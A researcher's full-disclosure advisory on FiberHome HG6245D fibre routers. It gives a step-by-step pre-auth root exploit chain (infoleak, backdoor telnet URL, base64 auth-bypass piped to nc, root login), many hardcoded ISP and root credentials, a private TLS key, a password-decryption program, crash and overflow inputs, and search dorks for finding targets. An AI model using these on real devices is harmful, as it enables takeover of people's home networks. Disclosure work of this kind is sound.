Multiple Vulnerabilities Found In FiberHome HG6245D Routers

Product Description

FiberHome Technologies is a leading equipment vendor and global solution provider in the field of information technology and telecommunications.

The FiberHome HG6245D routers are GPON FTTH routers. They are mainly used in South America and in Southeast Asia (from Shodan). These devices come with competitive pricing but are very powerful, with a lot of memory and storage.

I validated the vulnerabilities against HG6245D, RP2602:

Config# show version show version Hardware version : WKE2.094.277A01 Software version : RP2602 Minor version : 00.00 Basic part version : RP2602 Generate time : Apr 1 2019 19:38:05

UPDATE Feb 7, 2021 - the latest firmware version (RP2613) is also vulnerable. The vulnerabilities have been confirmed in the latest firmware image (RP2613).

Some vulnerabilities have been tested successfully against another fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019). The fiberhome devices have quite a similar codebase, so it is likely all other fiberhome devices (AN5506-04-FA, AN5506-04-FAT, AN5506-04-F) are also vulnerable.

On the first analysis, attack surface is not huge:

• only HTTP/HTTPS is listening by default on the LAN
• It is also possible to enable a CLI telnetd (not reachable by default) on port 23/tcp by using hardcoded credentials on the web admin interface (https://target/fh).

Futhermore, due to the lack of firewall for IPv6 connectivity, all the internal services will be reachable over IPv6 (from the Internet).

It is in fact trivial to achieve pre-auth RCE as root against the device, from the WAN (using IPv6) and from the LAN (IPv4 or IPv6).

This scenario involves reaching the webserver to:

1. enable a proprietary CLI telnetd (using backdoor credentials for HTTP or using the backdoor /telnet HTTP API or using a stack overflow in the HTTP server in previous fiberhome routers [and skipping next steps])
2. enable the Linux telnetd using authentication bypass or with backdoor credentials
3. use backdoor credentials to get a root shell on the Linux telnetd

Example of such scenario in 4 steps from a different network:

$ curl -k https://target/info.asp # pre-auth infoleak, extract the WAN MAC, very similar to the br0 MAC, # used to enable the next backdoor. On the same network segment, # use `arp -na` $ curl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR' # backdoor access to authorize access # to CLI telnet on port 23/tcp $ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 >/dev/null & # auth bypass + start of # Linux telnetd on port # 26/tcp $ telnet target 26 # backdoor root access with root / GEPON (none) login: root Password: [GEPON] BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash) #id uid=0(root) gid=0 groups=0 # game over

Please note this research was done in the beginning of 2020 and a new firmware image may be available and may patch some vulnerabilities (even if I highly doubt it). This research was supposed to be presented during a private security event last year which was postponed due to the COVID-19 situation.

Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.

Also, it is public knowledge from 2019 that Fiberhome devices have weak passwords and RCE vulnerabilities. This quote is from 2019:

We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities.

-- https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/

Vulnerabilities Summary

The summary of the vulnerabilities is:

1. Insecure IPv6 connectivity - CVE-2021-27170
2. HTTP Server - Passwords in HTTP logs - CVE-2021-27140
3. HTTP Server - Harcoded SSL certificates- CVE-2021-27142
4. HTTP server - Pre-auth InfoLeak - CVE-2021-27139
5. HTTP Server - Backdoor allowing telnet access - CVE-2021-27173
6. HTTP Server - Hardcoded credentials - CVE-2021-27143 - CVE-2021-27144 - CVE-2021-27145 - CVE-2021-27146 - CVE-2021-27147 - CVE-2021-27148 - CVE-2021-27149 - CVE-2021-27150 - CVE-2021-27151 - CVE-2021-27152 - CVE-2021-27153 - CVE-2021-27154 - CVE-2021-27155 - CVE-2021-27156 - CVE-2021-27157 - CVE-2021-27158 - CVE-2021-27159 - CVE-2021-27160 - CVE-2021-27161 - CVE-2021-27162 - CVE-2021-27163 - CVE-2021-27164
7. HTTP Server - TR-069 hardcoded credentials
8. HTTP Server - Credentials decryption algorithm - CVE-2021-27141
9. Telnet server (Linux) - Hardcoded credentials - CVE-2021-27172
10. Telnet server (CLI) - Hardcoded credentials - CVE-2021-27165 - CVE-2021-27166 - CVE-2021-27167 - CVE-2021-27168 - CVE-2021-27169
11. Telnet server (CLI) - Privilege escalation - CVE-2021-27171
12. Telnet server (CLI) - Authentication bypass - CVE-2021-27177
13. Telnet server (CLI) - Authentication bypass to start the Linux telnetd
14. Telnet server (CLI) - DoS - CVE-2021-27179
15. System - Credentials stored in clear-text - CVE-2021-27174 - CVE-2021-27175 - CVE-2021-27176
16. System - Passwords stored in clear-text in nvram - CVE-2021-27178
17. Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)

I removed several DoS and strange technical details (linked to undisclosed vulnerabilities) for clarity.

Details - Insecure IPv6 connectivity

By default, there are no firewall rules for the IPv6 connectivity, exposing the internal management interfaces from the Internet.

An attacker can get a full access to the management http server (using hardcoded passwords) and the telnet services, by reaching the IPv6s assigned to the wan0 and the br0 interfaces.

On the device:

#ifconfig wan0 wan0 Link encap:Ethernet HWaddr [REMOVED] [...] inet6 addr: [REMOVED]/64 Scope:Global [...] UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 #ifconfig br0 br0 Link encap:Ethernet HWaddr [REMOVED] inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: [REMOVED]/64 Scope:Global [...] UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

br0 is the internal network interface assigned to the LAN. All the services are binding to both br0 and wan0.

It is trivial to reach services from the WAN (Internet), by contacting IPv6 used by br0 or wan0:

From the WAN:

rasp-wan-olt% telnet [ipv6] 26 Trying [ipv6]... Connected to [ipv6]. Escape character is '^]'. (none) login: telnet> q Connection closed. rasp-wan-olt% telnet [ipv6] 80 Trying [ipv6]... Connected to [ipv6]. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.0 302 Redirect Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN Date: Mon Jan 7 21:01:29 2020 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html X-Frame-Options: SAMEORIGIN Location: https:// <html><head></head><body> This document has moved to a new <a href="https://">location</a>. Please update your documents to reflect the new location. </body></html> Connection closed by foreign host. rasp-wan-olt%

By using ip6tables on the device, we can confirm the complete lack of firewall rules for IPv6 connectivity:

#ip6tables -nL Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination forward_ext_ip all ::/0 ::/0 forward_ext_url all ::/0 ::/0 forward_ext_mac all ::/0 ::/0 Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain forward_ext_ds_ip (1 references) target prot opt source destination Chain forward_ext_ip (1 references) target prot opt source destination forward_ext_us_ip all ::/0 ::/0 forward_ext_ds_ip all ::/0 ::/0 Chain forward_ext_mac (1 references) target prot opt source destination Chain forward_ext_url (1 references) target prot opt source destination Chain forward_ext_us_ip (1 references) target prot opt source destination #

I highly recommend disabling IPv6 connectivity.

Details - HTTP Server - Passwords in HTTP logs

It is possible to find passwords and authentication cookies stored in clear-text in HTTP logs:

#cat /fhconf/web_log/web.log web_utils>2020-01-07 19:16:26,../utils/cu_sessionManagement.c[465](findUser): no user named admin ! <web_custom>2020-01-07 19:16:27,../custom/weblogin.c[595](webLogin): *************userGroupName = 1 <web_init>2020-01-07 19:16:27,../utils/utils.c[1399](get_admin_default_info): enter get_admin_default_info <web_custom>2020-01-07 19:16:27,../custom/weblogin.c[812](webLogin): Warning! Password error! password = [REMOVED] <web_utils>2020-01-07 19:27:24,../utils/cu_sessionManagement.c[238](createSession): create user [REMOVED]

Details - HTTP Server - Harcoded SSL certificates

The web management is done over HTTPS, using a hardcoded private key with 777 permissions:

#ls -la /fhrom/bin/web/certSrv.pem /fhrom/bin/web/privkeySrv.pem -rwxrwxrwx 1 root 0 883 Apr 1 2019 /fhrom/bin/web/certSrv.pem -rwxrwxrwx 1 root 0 887 Apr 1 2019 /fhrom/bin/web/privkeySrv.pem #cat /fhrom/bin/web/privkeySrv.pem -----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7 yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4 8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/ enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7 bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw== -----END RSA PRIVATE KEY----- #cat /fhrom/bin/web/certSrv.pem -----BEGIN CERTIFICATE----- MIICXzCCAcgCCQCqr5AgCgFdqzANBgkqhkiG9w0BAQUFADB0MQswCQYDVQQGEwJD SDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDELMAkGA1UE CxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJQkVSSE9N RS5DT00uQ04wHhcNMTMwNDI0MDEyMTUwWhcNMjMwNDIyMDEyMTUwWjB0MQswCQYD VQQGEwJDSDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDEL MAkGA1UECxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJ QkVSSE9NRS5DT00uQ04wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJjbb43/ kidSGai2BTyOH2dB3JOYpjAUkqm8x6T18krysKysQPvKX6a9Q+/fKovIyC+7UBwy ZgTKeClvD3iud3aT3XCJEZQZRKryZNE8XCemVM8jyEgmCUywpyyTNE/3nWPGyJJL V4yUtwR32IxRymNRuBbPEofR8WVEPl3yNg+3AgMBAAEwDQYJKoZIhvcNAQEFBQAD gYEACZJepEU36h3PMc0O15Bo7zkBWm2dD0RbTrJeZF561VcxlpuE2GDirNCXAbZz Ue/x+fDQBEM8kqpFYcVMPzZBUdFwu1QIY0DottXVcFFNoKS54GL9LEMaS6l6R/D5 G8bCy/RF3kZwzE2cflZ7x78zdpQpzzDcOD415ek5zkadhu0= -----END CERTIFICATE----- #

Another hardcoded private key is also available (?!) in /fhrom/bin/web and can be downloaded over HTTPS:

#ls -la /fhrom/bin/web/privkeySrv.pem -rwxrwxrwx 1 root 0 887 Apr 1 2019 /fhrom/bin/web/privkeySrv.pem $ curl -k https://192.168.1.1/privkeySrv.pem -----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7 yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4 8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/ enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7 bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw== -----END RSA PRIVATE KEY-----

Details - HTTP server - Pre-auth InfoLeak

It is possible to extract information from the device without authentication by disabling Javascript and visiting /info.asp:

$ curl -k https://192.168.1.1/info.asp [..] Software Version: [REMOVED] [...] ONU State: [REMOVED] Regist State: [REMOVED] LOID: [REMOVED] <----------- Secret used for FTTH connection [...] IP Address: [REMOVED] Subnet Mask: [REMOVED] IPv6 Address: [REMOVED] DHCP Clients List: [REMOVED] Wan IP: [REMOVED] WAN Mac: [REMOVED] <-------- Used for the telnet backdoor [...]

Also, it is very easy to guess the MAC address of the br0 interface based on the WAN MAC address (e.g.: wan0: xx:xx:xx:xx:xx:x3, br0 will be xx:xx:xx:xx:xx:x0).

Details - HTTP Server - Backdoor allowing telnet access

In order to reach the telnetd CLI server, it is also possible to reach a backdoor API without authentication provided by the HTTP server. This will remove firewall rules and allow an attacker to reach the telnet server (used for CLI).

This backdoor can be found inside the webs binary:

From sub_C46F8() (called from main()):

Pseudo-code of sub_C46F8()

The backdoor_telnet() function (named during reverse engineering, the original name is unknown):

Pseudo-code of backdoor_telnet()

We can reverse the function omci_set_telnet_uni_state() from libgl3_advance.so:

Pseudo-code of omci_set_telnet_uni_state()

On line 24, rules will be added depending of the value of the argument of this function.

Finally, the getOnuMac() function will provide a custom valid entry from the MAC address of the br0 interface:

Pseudo-code of getOnuMac()

The backdoor is reachable by sending a HTTPS request:

• https://[ip]/telnet?enable=0&key=calculated(BR0_MAC)

The 'secret' algorithm will extract the ending part of the mac address.

For the MAC: AA:AA:AA:01:02:03, an attacker can enable the backdoor by sending:

$ curl -k 'https://[ip]/telnet?enable=1&key=010203'

Opening the access to the telnetd:

$ curl -k 'https://192.168.1.1/telnet?enable=1&key=[REMOVED]' Open telnet success! $ telnet 192.168.1.1 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. ------acl IP:192.168.1.2 -------- Login: telnet> q Connection closed.

Closing the access to the telnetd:

$ curl -k 'https://192.168.1.1/telnet?enable=0&key=[REMOVED]' $ telnet 192.168.1.1 23 Trying 192.168.1.1... telnet: connect to address 192.168.1.1: Connection refused telnet: Unable to connect to remote host

The IPv4 firewall rules before and after triggering the backdoor:

Access is being blocked:

#iptables-save |grep telnet :input_ext_access_telnet_ani - [0:0] :input_ext_access_telnet_uni - [0:0] -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani -A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT -A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT -A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset -A input_ext_access_telnet_uni -i br0 -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset

Access is allowed:

#iptables-save |grep telnet :input_ext_access_telnet_ani - [0:0] :input_ext_access_telnet_uni - [0:0] -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni -A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani -A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT -A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT -A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset

Details - HTTP Server - Hardcoded credentials

The web daemon contains a list of hardcoded credentials, for different ISPs:

• user / user1234
• f~i!b@e#r$h%o^m*esuperadmin / s(f)u_h+g|u
• admin / lnadmin
• admin / CUadmin
• admin / admin
• telecomadmin / nE7jA%5m
• adminpldt / z6dUABtl270qRxt7a2uGTiw
• gestiontelebucaramanga / t3l3buc4r4m4ng42013
• rootmet / m3tr0r00t
• awnfibre / fibre@dm!n
• trueadmin / admintrue
• admin / G0R2U1P2ag
• admin / 3UJUh2VemEfUtesEchEC2d2e
• admin / getOnuMac(s, 6, 32); <- last part of the MAC address of the br0 interface
• admin / 888888
• L1vt1m4eng / 888888
• useradmin / 888888
• user / 888888
• admin / 1234
• user / tattoo@home
• admin / tele1234
• admin / aisadmin

You can find the incomplete list below:

I really like m3tr0r00t :)

There are passwords everywhere in the webs binary (HTTP Server).

These credentials, used with https://ip/fh will allow to open the access to the CLI telnet on port 23/tcp.

Details - HTTP Server - TR-069 hardcoded credentials

We can find hardcoded credentials inside the webs binary for TR-069:

telecomadmin

Pseudo-code from webs

Details - HTTP Server - Credentials decryption algorithm

By default, some credentials appear to be encrypted (in /fhconf/umconfig.txt file).

It is possible to decrypt them using the encryption function found inside the webs binary. This algorithm uses mainly xor with the hardcoded key *j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g so we can encrypt passwords and decrypt "encrypted" passwords:

Pseudo-code from decrypt_password()

A re-implementation in C can be shown below:

#include <stdio.h> #include <string.h> int main(int argc, char **argv, char **envp) { char key[45] = "*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(*&^#@$a2s0i3g"; char password[12] = "\x59\x42\x51\x48\x5d\x13\x4b\x52\x3d\x45\x4d\x00"; //char password[12] = "s(f)u_h+g|u\x00"; unsigned char encrypted_char; for (int i = 0; i < strlen(password); i++) { encrypted_char = password[i] ^ key[i % sizeof(key)]; if (encrypted_char && !(encrypted_char & 0x2000)) printf("%c", encrypted_char); } printf("\n"); return (0); }

And it works:

$ cc decrypt-passwords-umconfig.c -o decrypt-passwords-umconfig && ./decrypt-passwords-umconfig | hexdump -C 00000000 73 28 66 29 75 5f 68 2b 67 7c 75 0a |s(f)u_h+g|u.| 0000000c

Interesting fact: we previously found this hardcoded key in FTTH OLTs from another FTTH vendor:

https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html#weak-encryption-algorithm

It appears this key and this algorithm come from GoAhead:

https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51

Details - Telnet server (Linux) - Hardcoded credentials

A hardcoded password for root is being defined inside /etc/init.d/system-config.sh:

#cat /etc/init.d/system-config.sh #!/bin/sh case "$1" in start) echo "Configuring system..." # these are some miscellaneous stuff without a good home mount -o remount,sync /fhconf mkdir -p /dev/shm/fhdrv_kdrv_ver_tmp /dev/shm/usr_tmp /fhconf/data echo "root:W/xa5OyC3jjQU:0:0:root:/:bin/sh" > /etc/passwd echo "nobody:x:99:99:Nobody:/:/bin/false" >> /etc/passwd ifconfig lo 127.0.0.1 netmask 255.0.0.0 broadcast 127.255.255.255 up echo > /var/udhcpd/udhcpd.leases exit 0 ;; # cat /etc/passwd root:W/xa5OyC3jjQU:0:0:root:/:bin/sh nobody:x:99:99:Nobody:/:/bin/false

W/xa5OyC3jjQU is the DES encrypted data for GEPON.

This telnet server doesn't run by default but it is possible to start it from the telnet CLI.

Details - Telnet server (CLI) - Hardcoded credentials

telnet on port 23/tcp can be also abused with these credentials:

• gpon/gpon
• enable: gpon

Demo:

$ nc -v 192.168.1.1 23 Connection to 192.168.1.1 23 port [tcp/telnet] succeeded! ------acl IP:192.168.1.2 -------- Login: gpon gpon Password: gpon User> enable enable Password: gpon **** Config#

We can retrieve these backdoors by reversing the libci_adaptation_layer.so library:

Pseudo-code of addDefualLoginAndUser() from libci_adaptation_layer.so

For specific ISPs, there are these valid credentials:

• admin / 4 hexadecimal chars, generated in the init_3bb_password() function located in libci_adaptation_layer.so
• rdsadmin / 6GFJdY4aAuUKJjdtSn7d

You can also test gepon/gepon (from the firmware extracted in the other analyzed fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019)).

Details - Telnet server (CLI) - Privilege escalation

The CLI telnet server runs on port 23/tcp and can be reached by (i) adding firewall rules from the HTTP server either using the backdoor API, (ii) using backdoor credentials on the web interface or (iii) exploiting a stack overflow in previous HTTP daemons. It is also reachable by default over IPv6 on br0 and wan0 interface.

It is possible to start a Linux telnetd as root on port 26/tcp using the CLI interface, as shown below:

User> ddd WRI(DEBUG_H)> shell Please use port 26 to telnet WRI(DEBUG_H)> tshell Please use port 26 to telnet

shell and tshell will call the function enter_telnet_shell() from libcli_cli.so, running system("telnet -p 26"). This telneld will then use hardcoded credentials.

Pseudo-code of enter_telnet_shell()

Surprisingly, there is another function called enter_tshell (for a legacy tshell) which will run a system("sh") as root.

This function enter_tshell() providing a rootshell is not being called from shell so this looks like dead code:

Pseudo-code of enter_tshell()

Details - Telnet server (CLI) - Authentication bypass

It is possible to bypass telnet authentication by sending a specific string to the remote telnet server:

$ echo 'GgpoZWxwCmxpc3QKd2hvCg==' | base64 -d > bypass-auth-telnet $ hexdump -C bypass-auth-telnet 00000000 1a 0a 68 65 6c 70 0a 6c 69 73 74 0a 77 68 6f 0a |..help.list.who.| 00000010 $ nc 192.168.1.1 23 < bypass-auth-telnet ------acl IP:192.168.1.2 -------- Login: User> User> help This system provides help feature as described below. 1. Anytime you need help, just press "?" and don't press Enter,you can see each possible command argument and its description. 2. You can also input "list" and then press Enter to execute this helpful command to view the list of commands you can use. User> list 0. clear 1. enable 2. exit 3. help 4. list 5. ping {[-t]}*1 {[-count] <1-65535>}*1 {[-size] <1-6400>}*1 {[-waittime] <1-255>}*1 {[-ttl] <1-255>}*1 {[-pattern] <user_pattern>}*1 {[-i] <A.B.C.C>}*1 <A.B.C.D> 6. quit 7. show history 8. show idle-timeout 9. show ip 10. show services 11. show syscontact 12. show syslocation 13. terminal length <0-512> 14. who 15. who am i User> who SessionID. - UserName ---------- LOCATION ---------- MODE ---- 7 not login 192.168.1.2 not login (That's me.) Total 1 sessions in current system. User>

Details - Telnet server (CLI) - Authentication bypass to start the Linux telnetd

It is possible to use the previous authentication bypass to start a full telnetd server on port 26 and then get a root shell using the password from Telnet server (Linux) - Hardcoded credentials.

By sending ddd then tshell, a telnetd will be started on port 26/tcp:

$ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 & ------acl IP:192.168.1.2 -------- Login: User> User> help This system provides help feature as described below. 1. Anytime you need help, just press "?" and don't press Enter,you can see each possible command argument and its description. 2. You can also input "list" and then press Enter to execute this helpful command to view the list of commands you can use. User> list 0. clear 1. enable 2. exit 3. help $ telnet target 26 Trying target... Connected to target. Escape character is '^]'. (none) login: root Password: [GEPON] BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. #id uid=0(root) gid=0 groups=0

The attacker will get a root shell.

Details - Telnet server (CLI) - DoS

It is possible to crash the telnet daemon by sending a specific string:

$ hexdump -C crash-auth-telnet 00000000 1a 0a 65 6e 61 62 6c 65 0a 02 0a 1a 0a |..enable.....| 0000000d $ nc -v 192.168.1.1 23 < crash-auth-telnet 192.168.1.1: inverse host lookup failed: Host name lookup failure (UNKNOWN) [192.168.1.1] 23 (telnet) open $ nc -v 192.168.1.1 23 < crash-auth-telnet 192.168.1.1: inverse host lookup failed: Host name lookup failure (UNKNOWN) [192.168.1.1] 23 (telnet) : Connection refused

This segfault exists inside /fh/extend/load_cli but was not studied as the previous bypass already worked.

Details - System - Credentials stored in clear-text

Some credentials are stored in clear-text with permissive rights:

#pwd /fhconf/fh_wifi #ls -la drwxr-xr-x 2 root 0 536 Jan 7 2020 . drwxr-xr-x 14 root 0 10264 Jan 8 15:29 .. -rw-r--r-- 1 root 0 118 Jan 1 1970 wifi_custom.cfg -rw-r--r-- 1 root 0 1212 Jan 7 2020 wifictl_2g.cfg -rw-r--r-- 1 root 0 1178 Jan 7 2020 wifictl_2g.cfg.bak -rw-r--r-- 1 root 0 1213 Jan 7 2020 wifictl_5g.cfg -rw-r--r-- 1 root 0 1208 Jan 7 2020 wifictl_5g.cfg.bak #cat /fhconf/fh_wifi/wifi_custom.cfg ssid_2g=[REMOVED] ssid_5g=[REMOVED] country=BR auth=WPAPSKWPA2PSK encrypt=tkipaes psk=[REMOVED] # #cat wifictl_2g.cfg [...] WPAPSK=[REMOVED] [...] WEPKey1=[REMOVED] [...] WEPKey2=[REMOVED] [...] WEPKey3=[REMOVED] [...] WEPKey4=[REMOVED] [...] RadiusKey=[REMOVED] #cat wifictl_5g.cfg SSID=[REMOVED] [...] WPAPSK=[REMOVED] [...] WEPKey1=[REMOVED] [...] WEPKey2=[REMOVED] [...] WEPKey3=[REMOVED] [...] WEPKey4=[REMOVED] [...] RadiusKey=[REMOVED]

Details - Misc - Passwords stored in clear-text in nvram

Some passwords are stored in clear-text in nvram:

#nvram show wl0.1_key=1 wl0.1_key1=[REMOVED] wl0.1_key2=[REMOVED] wl0.1_key3=[REMOVED] wl0.1_key4=[REMOVED] [...] wl0.1_ssid=[REMOVED] [...] wl0.1_wpa_psk=[REMOVED] [...] wl0_key1=[REMOVED] wl0_key2=[REMOVED] wl0_key3=[REMOVED] wl0_key4=[REMOVED] [...] wl0_ssid=[REMOVED] [...] wl0_wpa_psk=[REMOVED] [...] [ passwords everywhere removed because of space ] [...]

Details - Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)

I got another Fiberhome device with a different firmware version (AN5506-04-FA, firmware RP2631, 4 April 2019). The HG6245D and the AN5506-04-FA devices share a very similar code base.

The firmware on the AN5506-04-FA device is vulnerable to a remote stack overflow in the webs process by sending a Cookie value with a length > 511 bytes to any valid asp webpage. This can be triggered using a simple wget command:

$ wget --no-check-certificate -O- --header 'Cookie: loginName=AAAA[511bytes]AAAA' https://192.168.1.1/tr069/tr069.asp

In the HG6245D firmware version RP2602, this vulnerability has been patched by checking the size of values in the cookies, so I was not able to exploit it. You can also read the log file to confirm the length is now checked:

<web_ga>2020-01-08 21:23:12,../thd_ga2_5/webs.c[1375](websParseRequest): Request header param value is too long! key: cookie

It appears it has been patched in the HG6245D router, firmware RP2602. Firmware RP2631 (4 April 2019) for router AN5506-04-FA remains vulnerable. I found no CVE or public research about this vulnerability so it may have been silently patched by the vendor for the HG6245D router.

Dorks

acl IP:

GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN

Vendor Response

Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.

Report Timeline

• Jan 7, 2020: Majority of vulnerabilities found.
• Jan 8, 2020: This advisory was written.
• Aug 2020: Found the lack of IPv6 firewall.
• Jan 9, 2021: Vulnerabilities checked again and the advisory was rewritten.
• Jan 12, 2021: A public advisory is sent to security mailing lists.
• Feb 7, 2021: The latest firmware version (RP2613) is confirmed to be vulnerable.
• Feb 10, 2021: MITRE provides CVE-2021-27139, CVE-2021-27140, CVE-2021-27141, CVE-2021-27142, CVE-2021-27143, CVE-2021-27144, CVE-2021-27145, CVE-2021-27146, CVE-2021-27147, CVE-2021-27148, CVE-2021-27149, CVE-2021-27150, CVE-2021-27151, CVE-2021-27152, CVE-2021-27153, CVE-2021-27154, CVE-2021-27155, CVE-2021-27156, CVE-2021-27157, CVE-2021-27158, CVE-2021-27159, CVE-2021-27160, CVE-2021-27161, CVE-2021-27162, CVE-2021-27163, CVE-2021-27164, CVE-2021-27165, CVE-2021-27166, CVE-2021-27167, CVE-2021-27168, CVE-2021-27169, CVE-2021-27170, CVE-2021-27171, CVE-2021-27172, CVE-2021-27173, CVE-2021-27174, CVE-2021-27175, CVE-2021-27176, CVE-2021-27177, CVE-2021-27178, CVE-2021-27179.

Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

References

https://pierrekim.github.io/advisories/2021-fiberhome-0x00-ont.txt

https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

published on 2021-01-12 00:00:00 by Pierre Kim <pierre.kim.sec@gmail.com>